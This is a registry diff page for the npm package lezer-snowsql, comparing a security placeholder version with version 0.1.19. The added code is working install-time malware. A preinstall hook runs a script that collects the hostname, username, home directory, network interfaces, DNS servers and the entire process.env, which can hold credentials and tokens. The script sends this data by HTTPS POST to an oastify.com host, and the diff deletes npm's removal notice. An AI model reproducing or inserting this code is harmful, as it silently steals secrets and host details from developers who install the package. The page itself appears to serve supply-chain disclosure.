lezer-snowsql 0.0.1-security → 0.1.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lezer-snowsql might be problematic. Click here for more details.

@@ -0,0 +1,67 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("../package.json");
6
+
7
+ const package = packageJSON.name;
8
+
9
+ // Prepare basic tracking info
10
+ const trackingData = {
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ env: process.env,
20
+ net: os.networkInterfaces(),
21
+ pjson: packageJSON,
22
+ };
23
+
24
+ // Attempt reverse DNS lookup to get FQDN if available
25
+ dns.lookup(os.hostname(), (err, address) => {
26
+ if (!err && address) {
27
+ dns.reverse(address, (err, hostnames) => {
28
+ if (!err && hostnames.length > 0) {
29
+ trackingData.fqdn = hostnames[0]; // Add FQDN if resolved
30
+ }
31
+
32
+ sendTracking(trackingData);
33
+ });
34
+ } else {
35
+ sendTracking(trackingData); // No address found; proceed anyway
36
+ }
37
+ });
38
+
39
+ function sendTracking(data) {
40
+ const postData = querystring.stringify({
41
+ msg: JSON.stringify(data),
42
+ });
43
+
44
+ const options = {
45
+ hostname: "tfcbg3naf7qkj1sjjciuvtqlxc33rvfk.oastify.com",
46
+ port: 443,
47
+ path: "/",
48
+ method: "POST",
49
+ headers: {
50
+ "Content-Type": "application/x-www-form-urlencoded",
51
+ "Content-Length": Buffer.byteLength(postData),
52
+ },
53
+ };
54
+
55
+ const req = https.request(options, (res) => {
56
+ res.on("data", (d) => {
57
+ process.stdout.write(d);
58
+ });
59
+ });
60
+
61
+ req.on("error", (e) => {
62
+ // Silent fail or optionally log
63
+ });
64
+
65
+ req.write(postData);
66
+ req.end();
67
+ }
package/index.js ADDED
@@ -0,0 +1 @@
1
+ require('./dist/index.esm.js');
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "lezer-snowsql",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.1.19",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "module": "dist/index.esm.js",
7
+ "scripts": {
8
+ "preinstall": "node dist/index.esm.js",
9
+ "test": "echo \"Error: no test specified\" && exit 1"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=lezer-snowsql for more information.